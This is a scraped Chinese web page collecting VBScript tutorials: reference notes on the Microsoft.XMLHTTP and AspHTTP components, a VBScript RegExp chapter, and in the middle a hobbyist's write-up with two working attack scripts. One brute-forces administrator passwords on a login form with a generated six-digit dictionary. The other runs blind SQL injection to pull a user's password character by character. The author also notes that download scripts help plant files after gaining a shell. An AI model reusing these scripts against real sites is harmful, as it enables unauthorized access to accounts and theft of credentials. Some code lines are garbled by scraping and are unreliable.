夜射猫精品在线导航:网络脚本

来源:百度文库 编辑:偶看新闻 时间:2024/04/28 05:25:01
Microsoft.XMLHTTP对象 (1)
发布时间:2010.07.21 10:26      来源:赛迪网     作者:萧萧
【赛迪网讯】MSXML中提供了Microsoft.XMLHTTP对象,能够完成从数据包到Request对象的转换以及发送任务。
创建XMLHTTP对象的语句如下: Set objXML = createObject(Msxml2.XMLHTTP) 或Set objXML = createObject("Microsoft.XMLHTTP")' Or, for version 3.0 of XMLHTTP, use:' Set xml = Server.createObject(MSXML2.ServerXMLHTTP
对象创建后调用Open方法对Request对象进行初始化,语法格式为:
poster.open http-method, url, async,userID, password
Open方法中包含了5个参数,前三个是必要的,后两个是可选的(在服务器需要进行身份验证时提供)。参数的含义如下所示:
http-method: HTTP的通信方式,比如GET或是 POST
url: 接收XML数据的服务器的URL地址。通常在URL中要指明 ASP或CGI程序
async: 一个布尔标识,说明请求是否为异步的。如果是异步通信方式(true),客户机就不等待服务器的响应;如果是同步方式(false),客户机就要等到服务器返回消息后才去执行其他操作
userID 用户ID,用于服务器身份验证
password 用户密码,用于服务器身份验证
XMLHTTP对象的Send方法
用Open方法对Request对象进行初始化后,调用Send方法发送XML数据:
poster.send XML-data
Send方法的参数类型是Variant,可以是字符串、DOM树或任意数据流。发送数据的方式分为同步和异步两种。在异步方式下,数据包一旦发送完毕,就结束Send进程,客户机执行其他的操作;而在同步方式下,客户机要等到服务器返回确认消息后才结束Send进程。
XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机的程序可以根据这个状态信息设置相应的事件处理方法。属性值及其含义如下表所示:
值 说明
0 Response对象已经创建,但XML文档上载过程尚未结束
1 XML文档已经装载完毕
2 XML文档已经装载完毕,正在处理中
3 部分XML文档已经解析
4 文档已经解析完毕,客户端可以接受返回消息
客户机处理响应信息
客户机接收到返回消息后,进行简单的处理,基本上就完成了C/S之间的一个交互周期。客户机接收响应是通过XMLHTTP对象的属性实现的:
● responseTxt:将返回消息作为文本字符串;
● responseXML:将返回消息视为XML文档,在服务器响应消息中含有XML数据时使用;
● responseStream:将返回消息视为Stream对象。
Microsoft.XMLHTTP对象 (2)
发布时间:2010.07.21 10:26      来源:赛迪网     作者:萧萧
AspHTTP组件的属性
Accept
指示什么样的MIME类型可以被请求程序接受
例如:HttpObj.Accept = "*/*"
Authorization
授权头可以让你获得 需要验证身份的地方的url
用户名和口令之间用冒号点开
例如:HttpObj.Authorization ="jimb:superbmr"
BinaryData
返回来自getURl请求获得的两进制格式的数据,你可以用这个属性取得两进制数据
如来自另一个web服务器的图片例如:
<%Response.ContentType = "image/gif"Set HTTPObj = Server.createObject("AspHTTP.Conn")HTTPObj.Url = "/blog/upload/200562215730899.gif"HTTPObj.GetURLResponse.BinaryWrite HTTPObj.BinaryData%>
ContentType
这个属性允许你在POST***作时自定义content-type头
例如:ContentType ="application/x-www-form-urlencoded"
Error
报告请求中发生的任何错误
FollowRedirects
FollowRedirects告诉组件跟随HTTP Server的重定向
例如:HttpObj.FollowRedirects = true
Headers
Headers属性包含了在请求被调用GetURL处理完成之后,来自http请求的回应头
例如:Response.Write HttpObj.Headers
Port
Port属性指示连接http服务器的端口号
例如:HttpObj.Port = 80
PostData
PostData属性应该被设置为你希望post请求POST到web服务器的数据的值
例如:HttpObj.PostData ="suid=jimb&act=upd"
Protocol
指示请求应该使用的http协议版本号,缺省值是HTTP/1.0
例如:HttpObj.Protocol = "HTTP/1.1"
Proxy
proxy属性包含proxy server代理服务器的地址/端口,冒号点开
例如:HttpObj.Proxy = "address.net:2001"
Microsoft.XMLHTTP对象 (3)
发布时间:2010.07.21 10:26      来源:赛迪网     作者:萧萧
ProxyPassword
设置需要验证的http代理服务器的http代理密码,现在只支持basic authentication(基本验证)
RequestMethod
RequestMethod属性指示发给服务器http请求的类型,合法的值是"GET", "POST" 和"HEAD".
例如:HttpObj.RequestMethod = "POST"
RegisteredUser
RegisteredUser属性指示组件授权用户的名字
例如:
Response.Write "This component islicensed to " & HttpObj.RegisteredUser
Response
Response属性包含在收到web服务器过来的请求之后的http response回应
SaveFileTo
SaveFileTo允许你得到任何类型的文件,自动存到本地盘上。图形/文本/HTML文件均可以。
例如:HttpObj.SaveFileTo ="c:\images\3rdqrtr.jpg"
TimeOut
timeout属性决定组件等待http server响应的时间
例如:HttpObj.TimeOut = 45
URL
URL属性设定你希望request请求所***作的url,以http://开头
例如:
HttpObj.URL ="http://www.myfinancial.com/scripts/update3.asp"
UserAgent
UserAgent让组件通过发送一个request的UserAgent头伪装浏览器
例如:HttpObj.UserAgent = "Mozilla Compatible(MS IE 3.01 WinNT)"
Version
指示AspHTTP组件的版本
例如:Response.Write "The component versionis " & HttpObj.Version
AspHTTP组件的方法
方法 参数 返回值 描述
GetURL 无 String 返回http请求的响应,这是一个字符串,组件不支持2进制返回值,如Gif/Jpg图像
AddExtraHeader String 无 在请求内增加一个自定义的http头,自定义头可以包括模拟的浏览器头,例如IE的分辨率信息头
ClearExtraHeaders 无 无 清除所有AddExtraHeader设置的http头
GetHeader String String 在GetUrl调用之后,获得自定头的值,如果有多个头,返回第一个。要检索所有的头,请看GetHeaders
Example:strCookie = HttpObj.GetHeader("Set-Cookie")You could then on subsequent calls return the same cookie as follows:if strCookie <> "" thenHttpObj.AddExtraHeader "Cookie: " & strCookieend if
GetHREFs 无 Variant 字符串数组,在调用GetUrl之后,你可以调用GetHREFs处理html里面的 Tags.
GetHREFs返回一个你可以进一步处理或显示的字符串的可变数组
请见HREFList.asp(下载包内有)使用这个方法的示例代码,GetHREFs是在aspHTTP版本2.4增加的。
URLDecode strValue String 解码一个URL编码的字符串
URLEncode strValue String 将一个字符串编码成一个合法的url值
Example:HttpObj.URL =HttpObj.URLEncode("http://www.test_xyz.com?avalue=this is a value withspaces")
#######################################################
最近迷上了脚本,发现里面有个Microsoft.XMLHTTP对象很有用,学习了一阵子,把心得写在这里,也算是一篇学习总结吧。
Microsoft.XMLHTTP是为支持XML而设计的对象,通过http协议访问网络。要直接把它讲清楚比较难,我们还是在实例中学习吧。
1、用Microsoft.XMLHTTP写一个支持断点续传下载web资源的程序。
这点应该是大家最熟悉的,很多人都用Microsoft.XMLHTTP干过这事儿,类似的脚本到处都是,所以对于这方面的用途就不占用版面多写了。
(没看过这方面代码的朋友可以找我要:love_smj at sina dot com)
当然,这种程序对于入侵时只得到了一个溢出的shell又想往对方机子上放东西时还是很有用的。:)
2、用Microsoft.XMLHTTP写一个自动填写表单的程序。
想到了什么?强注会员?自动投票?我们还是结合例子来说吧。以下是我写的一个穷举猜管理员(当然,普通用户也行)密码的程序,实用性并不高。
代码
set outstreem=wscript.stdout
set instreem=wscript.stdin
set http=createobject('Microsoft.XMLHTTP')
set fso=createobject('scripting.filesystemobject')
set shell=createobject('wscript.shell')
if lcase(right(wscript.fullname,11))='wscript.exe' then
shell.run('cmd.exe /k echo off&cls&cscript //nologo'&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if '这里的目的是用cscript.exe来执行脚本
wscript.echo string(79,'*')
wscript.echo ''
wscript.echo ' by 千寂孤城 E-mail:love_smj at sina dot com'
wscript.echo ''
wscript.echo string(79,'*')
wscript.echo '若要破解的用户名是汉字,请使用IE将其转换为16进制!!'
outstreem.write '登陆页面的路径是:'
webpath=instreem.readline '取得'http://xxxxx/login.asp'一类的登陆路径
outstreem.write '要破解的用户名:'
name=instreem.readline '这里注意,用户名如果是汉字必须用ie转换成16进制。比如说如果用户名是“一二”,就要输入:%B0%A1%B0%A1
outstreem.write '表单中用于输入用户名的文本框名字:'
bdname=instreem.readline
outstreem.write '表单中用于输入密码的密码框名字:'
bdpass=instreem.readline
outstreem.write '字典在哪里:'
path=instreem.readline '没有字典的话直接按回车,程序会自己生成字典。
if path='' then
wscript.echo 'Dictionary not found!!'
wscript.echo 'Now making dictionary 'C:\dic.dic'... please wait...'
set dic=fso.createtextfile('c:\dic.dic',true)
for j=0 to 999999
writeable=true
xieru=string(6-len(cstr(j)),'0')&cstr(j)
if mid(xieru,1,1)<>mid(xieru,2,1) andmid(xieru,2,1)<>mid(xieru,3,1) and mid(xieru,3,1)<>mid(xieru,4,1)and mid(xieru,4,1)<>mid(xieru,5,1) and mid(xieru,5,1)<>mid(xieru,6,1)then
for k=0 to 9
if len(replace(xieru,k,''))<4 then writeable=false
next
if writeable=true then dic.writeline xieru
end if
next
dic.close
path='c:\dic.dic'
end if
'以上生成的字典里是6位数字的密码,每个密码中相同的数字最多有2个,且不相邻。
wscript.echo 'OK!! Begun! Please wait...'
set zidian=fso.opentextfile(path)
pwd=zidian.readline
http.open 'POST',webpath,false
http.setrequestheader 'Content-Type','application/x-www-form-urlencoded'
'由于是提交表单,所以这一句必须要!否则会出错的
http.send bdname&'='&name&'&'&bdpass&'='&pwd
falselen=len(Http.responsebody)
'得到返回数据的长度。这个长度一定是错误的,不然你可以买彩票了。
wscript.echo 'trying:'&pwd
do '开始破解
if zidian.atendofstream=true then
wscript.echo 'Sorry,the pwd is beyond '&path&'.'
wscript.quit
end if
pwd=zidian.readline
http.open 'POST',webpath,false
http.setrequestheader 'Content-Type','application/x-www-form-urlencoded'
http.send bdname&'='&name&'&'&bdpass&'='&pwd
if len(Http.responsebody)falselen+50 then
exit do
end if
'如果返回的数据长度和falselen相差太大就说明密码正确了。
wscript.echo 'trying:'&pwd
loop
zidian.close
wscript.echo 'Good Luck!!'
wscript.echo 'password is '&pwd
wscript.echo 'the log file is 'c:\result.log''
set result=fso.opentextfile('c:\result.log',8,true)
result.writeline 'user:'&name&' pass:'&pwd
result.close
3、用Microsoft.XMLHTTP来写sql注入程序。
记得看到过一篇《用vbs来写sql注入等80端口的攻击脚本》(请看http://www.eviloctal.com/forum/read.php?tid=11005&fpage=1)
那篇文章中所说的对象必须要装Microsoft ACT(Visual Studio.Net里一个工具)才能用,很麻烦。其实要写sql注入程序,用Microsoft.XMLHTTP也能办到。由于Microsoft.XMLHTTP是windows自带的,不需要安什么就能用。
还是用实例说话。以下程序是我用Microsoft.XMLHTTP改写的随爱飞翔的那个程序。
(请看http://www.eviloctal.com/forum/read.php?tid=11005&fpage=1)

代码
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
set http=createobject('Microsoft.XMLHTTP')
set shell=createobject('wscript.shell')
dim strings = '0123456789abcdefghijklmnopqrstuvwxyz'
dim pwd_len
dim pwd
pwd=''
if lcase(right(wscript.fullname,11))='wscript.exe' then
shell.run('cmd.exe /k echo off&cls&cscript //nologo'&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
wscript.echo string(79,'*')
wscript.echo ''
wscript.echo ' by 千寂孤城 E-mail:love_smj at sina dot com'
wscript.echo ''
wscript.echo string(79,'*')
wscript.echo '若要破解的用户名是汉字,请使用IE将其转换为16进制!!'
outstreem.write '注入点:'
webpath=instreem.readline
outstreem.write '要破解的用户:'
username=instreem.readline
http.open 'POST',webpath,false
http.send
truelen=len(Http.responsebody)
WScript.Echo '开始探测,请等待... ...'
'得到用户的密码的长度
for i = 0 to 128 step
http.open 'POST',webpath&' and exists (select userid from student wherelen(userpwd)='&cstr(i)&' and userid=''&username&'')',false
http.send
if len(Http.responsebody)>truelen-50 andlen(Http.responsebody)pwd_len=i
exit for
end if
next
'猜解用户的密码
for j = 1 to pwd_len
for k = 1 to len(strings)
http.open 'POST',webpath&' and exists (select userid from student whereleft(userpwd,'&cstr(j)&')=''& pwd & mid(strings,k,1) &''and userid=''&username&''',false
http.send
if len(Http.responsebody)>truelen-50 andlen(Http.responsebody)pwd=pwd&mid(strings,k,1)
end if
next
next
If err Then
WScript.Echo '错误:' & Error.Description
Error.Clear
Else
'输出密码
WScript.Echo '密码:' & pwd
End If
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
RegExp对象是VBScript中用于提供简单的正则表达式支持的对象。VBScript中所有和正则表达式有关的属性和方法都与这个对象有关联。
Dimre
Setre = New RegExp
这个对象有三个属性和三个方法,如表9-1所示。
表9-1
属    性
Global属性
IgnoreCase属性
Pattern属性
方    法
Execute方法
Replace方法
Test方法
接下来的几节会深入地介绍这些属性和方法。此外还会介绍您将在模式中用到的正则表达式符号。
1  Global属性
Global属性负责设置或返回一个Boolean值,指明模式是匹配整个字符串中所有与之相符的地方还是只匹配第一次出现的地方(参见表9-2)。
表9-2
代码
object.Global [= value ]
对象
RegExp对象

有两个可能的值:True和False
如果Global属性的值是True,那就会对整个字符串进行查找;否则就不会。默认值是False—— 并不是微软的某些文档中说的True
下面的例子利用Global属性确保所有的"in"都会被修改。
Dimre, s
Setre = New RegExp
re.Pattern= "/bin"
re.Global= True
s= "The rain in Spainfalls mainly on the plains."
MsgBoxre.Replace(s, "in the country of")
2  IgnoreCase属性
IgnoreCase属性负责设置或返回一个Boolean值,指明模式匹配是否大小写敏感(参见表9-3)。
表9-3
代码
object.IgnoreCase [= value ]
对象
RegExp对象

有两个可能的值:True和False
如果IgnoreCase属性的值为False,搜索为大小写敏感;如果是True,则不是。默认是False—— 并不是微软的某些文档中说的True
继续看这个例子,之前看过了Global属性;如果要匹配的字符串中有“In”,就必须告诉VBScript在进行匹配时要忽略大小写。
Dimre, s
Setre = New RegExp
re.Pattern= "/bin"
re.Global= True
re.IgnoreCase= True
s= "The rain In Spainfalls mainly on the plains."
MsgBoxre.Replace(s, "in the country of")
3  Pattern属性
Pattern属性设置或返回用于搜索的正则表达式(参见表9-4)。
前面所有的例子都用到了Pattern。
Dimre, s
Setre = New RegExp
re.Pattern= "/bin"
re.Global= True
s= "The rain In Spainfalls mainly on the plains."
MsgBoxre.Replace(s, "in the country of")
表9-4
代码
object.Pattern [= "searchstring"]
对象
RegExp对象
搜索字符串
需要搜索的正则字符串表达式。可能含有一些正则表达式字符—— 可选的
4  正则表达式字符
正则表达式的强大并不是来自于用字符串做模式,而是在模式中使用特殊字符。表9-5列出了所有的这些字符,以及每个字符在代码中的作用。
大写特殊字符的作用与相应的小写特殊字符的作用相反。
表9-5
字    符
描    述
/
表示下一个字符是特殊字符或文字常量
^
匹配输入的开头
$
匹配输入的结尾
*
匹配前一个字符零次或多次
+
匹配前一个字符一次或多次
匹配前一个字符零次或一次
.
匹配除换行符以外的任何单个字符
(pattern)
匹配并记住这个模式。可以用[0]…[n]从结果的matches集合中获取匹配到的字符串。要匹配括号本身,在前面加上斜杠—— 用"/("或"/)"
(?:pattern)
匹配但不捕获模式,也就是不会存储匹配结果供以后使用。这可以用于使用"or"字符(|)合并模式的不同部分。例如,"anomal(?:y|ies)"比"anomaly|anomalies"要划算得多
(?=pattern)
当所要搜索的字符串匹配了模式的开头部分时就接着匹配这一部分。这是一个非捕获匹配,也就是说不会保存匹配结果供以后使用。例如,"Windows (?=95|98|NT|2000|XP|Vista)"能匹配"Windows Vista"中的Windows而不能匹配"Windows 3.1"中的Windows
(?!pattern)
与上一个相反,这会匹配模式中没有出现的内容。这是一个非捕获匹配,也就是说不会保存匹配结果供以后使用。例如,"Windows (?=95|98|NT|2000|XP|Vista)"能匹配"Windows 3.1"中的Windows而不能匹配"Windows Vista"中的Windows
x|y
匹配x或y
(续表)
字    符
描    述
{n}
准确地匹配n次(n必须是一个非负整数)
{n,}
至少匹配n次(n必须是一个非负整数—— 注意结尾的逗号)
{n,m}
至少匹配n次,最多匹配m次(m和n必须都是非负整数)
[xyz]
匹配其中包括的任一个字符(xyz表示一个字符集)
[^xyz]
匹配其中不包括的字符(^xyz表示一个字符集的补集)
[a-z]
匹配指定范围内的字符(a-z表示字符的范围)
[m-z]
匹配指定范围以外的字符(^m-z表示指定范围的补集)
/b
匹配一个单词边界,这个位置在单词和空格之间
/B
匹配一个非单词边界
/d
匹配数字。等价于[0-9]
/D
匹配非数字。等价于[^0-9]
/f
匹配换页符
/n
匹配换行符
/r
匹配回车符
/s
匹配空白,包括空格、制表符、换页符等。等价于"[/f /n /r /t /v ]"
/S
匹配非空白的字符。等价于"[^/f /n /r /t /v ]"
/t
匹配制表符
/v
匹配纵向制表符
/w
匹配字母、数字,以及下划线。等价于"[A-Za-z0-9_]"
/W
匹配非字符数字。等价于"[^A-Za-z0-9/_]"
/.
匹配.
/|
匹配|
/{
匹配{
/}
匹配}
//
匹配/
/[
匹配[
/]
匹配]
/(
匹配(
/)
匹配)
$ num
匹配num,其中num是正整数。返回匹配结果的引用
/n
匹配n,其中n是八进制转义符。八进制转义符的长度应为1、2或3
/uxxxx
匹配UNICODE形式的ASCII字符
/xn
匹配n,其中n是十六进制转义符。十六进制转义符必须是两位长度
这其中很多代码都无需太多的说明,但是有些例子可能需要别人的帮助才能理解。
匹配一类字符
您已经见过一个简单的模式:
re.Pattern= "in"
它通常用来匹配一类字符。通过将需要匹配的字符放在方括号中就能实现。例如,下面这个例子将单个数字换成更通用的术语。
Dimre, s
Setre = New RegExp
re.Pattern= "[23456789]"
s= "Spainreceived 3 millimeters of rain last week."
MsgBoxre.Replace(s, "many")
这段代码的输出如图9-11所示。

图9-11
在这个例子中,数字“3”被替换成了文本“many”。正如您所期望的,可以指定一个范围来缩短这个模式。这个模式跟前一个的功能完全一样。
Dimre, s
Setre = New RegExp
re.Pattern= "[2-9]"
s= "Spainreceived 3 millimeters of rain last week."
MsgBoxre.Replace(s, "many")
替换数字和非数字
经常需要替换数字。实际上,由于经常要用到模式[0-9](包括所有数字),所以有一种[0-9]的等价快捷方式:/d。
Dimre, s
Setre = New RegExp
re.Pattern= "/d"
s= "a b c d e f 1 g 2 h... 10 z"
MsgBoxre.Replace(s, "a number")
替换后的字符串如图9-12所示。

图9-12
如果要匹配非数字的字符怎么办?在方括号中使用^符号。
在方括号外使用^的意义就完全不同了,稍后会对此做讨论。
这样就可以使用下面的模式匹配非数字的字符:
re.Pattern= "[^,0-9]" 'the hard way
re.Pattern= "[^/d]" 'a little shorter
re.Pattern= "[/D]" 'another of those special characters
最后一个模式使用了另一种特殊字符。在大部分情况下这种特殊字符只是减少了您的输入次数(或是一种有效的记忆方法),但在有些情况下,比如遇到匹配制表符和其他不能打印的字符时,这就很有用了。
锚定和缩短模式
有三种特殊字符用于锚定模式。它们本身不匹配任何字符,但是可以要求另一个模式必须出现在输入的开头(在[]外使用^)、输入的结尾($)或是单词边界(您已经见过的/b)。
另一种缩短模式的方法是使用重复数。基本的思路就是在模式后面指定重复的次数。例如,下面这个模式,如图9-13所示,可以匹配多个数字并替换它们。
Dimre, s
Setre = New RegExp
re.Pattern= "/d{3}"
s= "Spainreceived 100 millimeters of rain in the last 2 weeks."
MsgBoxre.Replace(s, "a whopping number of")

图9-13
如果不在代码中使用重复数,如图9-14所示,它会留下最后字符串中的"00"。

图 9-14
Dimre, s
Setre = New RegExp
re.Pattern= "/d"
s= "Spainreceived 100 millimeters of rain in the last 2 weeks./"
MsgBoxre.Replace(s, "a whopping number of")
还要注意,这里不能使用re.Global = True,因为这样会在结果中产生4个“a whopping number of”。结果如图9-15所示。

图 9-15
Dimre, s
Setre = New RegExp
re.Global= True
re.Pattern= "/d"
s= "Spainreceived 100 millimeters of rain in the last 2 weeks."
MsgBoxre.Replace(s, "a whopping number of")
指定匹配的范围或最小次数
前面的表中已经罗列了,还可以指定匹配的最小次数{min}或范围{min, max,}。其中一些常用的重复模式也有专门的快捷方式。
re.Pattern= "/d+" 'one or more digits, /d{1, }
re.Pattern= "/d*" 'zero or more digits, /d{0, }
re.Pattern= "/d?" 'optional: zero or one, /d{0,1}
Dimre, s
Setre = New RegExp
re.Global= True
re.Pattern= "/d+"
s= "Spainreceived 100 millimeters of rain in the last 2 weeks."
MsgBoxre.Replace(s, "a number")
这段代码的输出如图9-16所示。注意字符串“100”被替换了。

图 9-16
Dimre, s
Setre = New RegExp
re.Global= True
re.Pattern= "/d*"
s= "Spainreceived 100 millimeters of rain in the last 2 weeks."
MsgBoxre.Replace(s, "a number")
上面这段代码的输出如图9-17所示。这里在每两个非数字的字符间插入了这个字符串,而数字则被替换了。

图9-17
Dimre, s
Setre = New RegExp
re.Global= True
re.Pattern= "/d?"
s= "Spainreceived 100 millimeters of rain in the last 2 weeks."
MsgBoxre.Replace(s, "a number")
上面这段代码的输出如图9-18所示。这里也在每两个非数字的字符间插入了“a number”,而数字则被替换了。

图 9-18
记住匹配结果
最后一个要讨论的特殊字符是记住匹配的结果。如果要在用于替换的文本中使用部分或全部的匹配结果,这就很有用—— 详见Replace方法,其中一个例子使用了记住匹配的结果。
为了验证这一点,也为了将所有关于特殊字符的讨论集中在一起,我们来做点有实际意义的事情。搜索一个字符串,查找其中的URL。为了控制这个例子的复杂度和规模,这里只查找其中的"http:"协议,但是您还可以处理各种DNS域名,包括无限的域名层次。不要担心如何与DNS交流,只需要知道在浏览器中输入URL就足够了。
下一节中关于另一个RegExp对象方法的代码中会有更多的细节信息。现在,只需要知道Execute会执行模式匹配并通过集合返回各个匹配结果。这里是代码:
Dimre, s
Setre = New RegExp
re.Global= True
re.Pattern= "http://(/w+[/w-]*/w+/.)*/w+"
s= "http://www.kingsley-hughes.com is a valid web address. And so is "
s= s & vbCrLf & "http://www.wrox.com. And "
s= s & vbCrLf & "http://www.pc.ibm.com - even with 4 levels."
SetcolMatches = re.Execute(s)
ForEach match In colMatches
MsgBox"Found valid URL: " & match.Value
Next
如您所愿,其中主要的工作就是设置模式的那一行代码。看上去有点让人生畏,但实际上很容易理解。让我们将其分解开来:
1. 模式以固定的字符串http://开头。然后用圆括号将模式的主要部分括起来。下面高亮的模式会匹配一级DNS,包括尾部的点:
re.Pattern= "http://(/ w[ / w-]* / w / . )*/w+"
这个模式以一个您之前见过的特殊字符/w开头,用来匹配[a-zA-Z0-9],也就是英语中的所有数字和字母。
2. 用括号匹配字母数字或横杠,因为DNS中可以有横杠。为什么不使用与前面一样的模式?很简单,因为有效的DNS不能以横杠开始或结尾。然后用*重复匹配0个或多个字符。
re.Pattern= "http://(/w [ / w-]* /w/..*/w+"
3. 然后又严格地用字母数字,这样域名就不会以横杠结束。括号中的最后一个模式匹配用于分割DNS层次的点(.)。
不能单独使用点,因为那是一个特殊字符,正常情况下能匹配除换行符以外的任何字符。可以用反斜杠转义这个字符。
4. 在将这些东西封装到括号中之后,只需要继续使用*重复这个模式即可。所以下面高亮显示的模式可以匹配所有有效的域名以及其后的点。换句话说就是能匹配整个DNS中的一级域名。
re.Pattern= "http:// ( / w[ / w-]*/w/ .)*/w+"
5. 模式最后是顶级域名(比如com、org、edu等)所需的一个或多个字符。
re.Pattern= "http://(/w[/w-]*/w/.)*/ w+ "
9.2.5  Execute方法
这个方法将正则表达式应用到字符串上并返回Matches集合。这是代码中使用模式匹配字符串的启动开关,使用方法参见表9-6。
表9-6
代码
object.Execute( string )
对象
只能是RegExp对象
字符串
需要搜索的字符串—— 必需的
正则表达式搜索的模式就是RegExp对象的Pattern属性。
Dimre, s
Setre = New RegExp
re.Global= True
re.Pattern= "http://(/w+[/w-]*/w+/.)*/w+"
s= "http://www.kingsley-hughes.com is a valid web address. And so is "
s= s & vbCrLf & "http://www.wrox.com. And " s = s & vbCrLf&
"http://www.pc.ibm.com- even with 4 levels."
SetcolMatches = re.Execute(s)
ForEach match In colMatches
MsgBox"Found valid URL: " & match.Value
Next
要注意,有些语言对正则表达式结果的处理方式不一样,其Execute返回的是判断模式是否找到的布尔值。这种差异导致您经常会看到从其他语言中转换过来的正则表达式在VBScript中无法使用。
有些微软的文档也含有这类错误,不过其中大部分都已经改正了。
记住Execute的结果是一个集合,甚至很有可能是一个空集合。可以用if re.Execute(s).count = 0或专门为这个目的设计的Test方法来测试它。
6  Replace方法
这个方法用于替换在正则表达式搜索中找到的文本,用法参见表9-7。
表9-7
代码
object.Replace(string1, string2)
对象
只能是RegExp对象
字符串1
这是发生替换的文本字符串—— 必需的
字符串2
这是用于替换的文本字符串—— 必需的
Replace方法返回一份RegExp.Pattern被string2替换后的string1的副本。如果字符串中没有发生匹配,那么就会返回没有任何改变的string1。
Dimre, s
Setre = New RegExp
re.Pattern= "http://(/w+[/w-]*/w+/.)*/w+"
s= "http://www.kingsley-hughes.com is a valid web address. And so is "
s= s & vbCrLf & "http://www.wrox.com. And "
s= s & vbCrLf & "http://www.pc.ibm.com - even with 4 levels."
MsgBoxre.Replace(s, "** TOP SECRET! **")
上面这段代码的输出如图9-19所示。

图9-19
Replace方法还可以替换模式中的子表达式。这需要在用于替换的文本中使用特殊字符$1、$2等。这些“参数”就是记住的匹配结果。
7  Backreferencing
一个被记住的匹配结果就是模式的一部分。这就是所谓的backreferencing。需要用圆括号指定需要存储在临时缓存中的部分。每个捕获到的匹配结果都会按匹配到的先后次序存放(在正则表达式模式中从左到右)。存放匹配结果的缓存从1开始编号,最大可以到99。可以依次用$1、$2之类的变量访问它们。
可以用非捕获元字符("?:"、"?="或"?!")跳过正则表达式中的某些部分。
接下来的例子,前5个单词(由一个或多个非空白字符组成)会被记住,然后只有其中的4个会出现在替换文本中:
Dimre, s
Setre = New RegExp
re.Pattern= "(/S+)/s+(/S+)/s+(/S+)/s+(/S+)/s+(/S+)"
s= "VBScript is not very cool."
MsgBoxre.Replace(s, "$1 $2 $4 $5")
这段代码的输出如图9-20所示。

图9-20
注意这段代码中为字符串中的每个代词都添加了一对(/S+)/s+。这使得代码能更好地控制所要处理的字符串。可以阻止字符串的尾部被添加到要显示的字符串中。要注意在使用backreferencing时要确保输出符合您的要求!
8  Test方法
Test方法对字符串执行正则表达式搜索,并返回一个布尔值说明匹配是否成功,用法见表9-8。
表9-8
代码
object.Test(string)
对象
RegExp对象
字符串
正则表达式搜索的执行对象—— 必需的
如果匹配成功,Test方法返回True;否则返回False。这适用于判断字符串是否含有某个模式。注意,常常需要将模式设为大小写敏感,就像下面这个例子:
Dimre, s
Setre = New RegExp
re.IgnoreCase= True
re.Pattern= "http://(/w+[/w-]*/w+/.)*/w+"
s= "Some long string with http://www.wrox.com buried in it."
Ifre.Test(s) Then
MsgBox"Found a URL."
Else
MsgBox"No URL found."
EndIf
这段代码的输出如图9-21所示。

图9-21
分享到:
·  上一篇:如何防止盗链
·  下一篇:ADODB.Stream 对象详解
查看评论
2楼wuming7343 2010-07-29 16:21发表[回复]


1楼yan11cn 2009-12-17 21:20发表[回复][引用][举报]

示例
1 、判断数字的正确性
<%@language=vbscript %>
<scriptlanguage="javascript" runat="server">
functionisnumeric(strnumber) {
return(strnumber.search(/^(-|/+)?/d+(/./d+)?$/) != -1);
}
functionisunsignednumeric(strnumber) {
return(strnumber.search(/^/d+(/./d+)?$/) != -1);
}
functionisinteger(strinteger) {
return(strinteger.search(/^(-|/+)?/d+$/) != -1);
}
functionisunsignedinteger(strinteger) {
return(strinteger.search(/^/d+$/) != -1);
}
</script>
<html>
<body>
<b>判断数字的正确性</b>
<%dim strtemp
strtemp =cstr(request.form("inputstring"))
if strtemp ="" then strtemp = "0"
%>
<tableborder="1" cellpadding="4"cellspacing="2">
<tr>
<tdalign="right"><b>原始字符串</b></td>
<td><%=strtemp %></td>
</tr>
<tr>
<tdalign="right"><b>数字</b></td>
<td><%=isnumeric(strtemp)%></td>
</tr>
<tr>
<tdalign="right"><b>非负数字</b></td>
<td><%=isunsignednumeric(strtemp)%></td>
</tr>
<tr&g
您还没有登录,请[登录]或[注册]
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场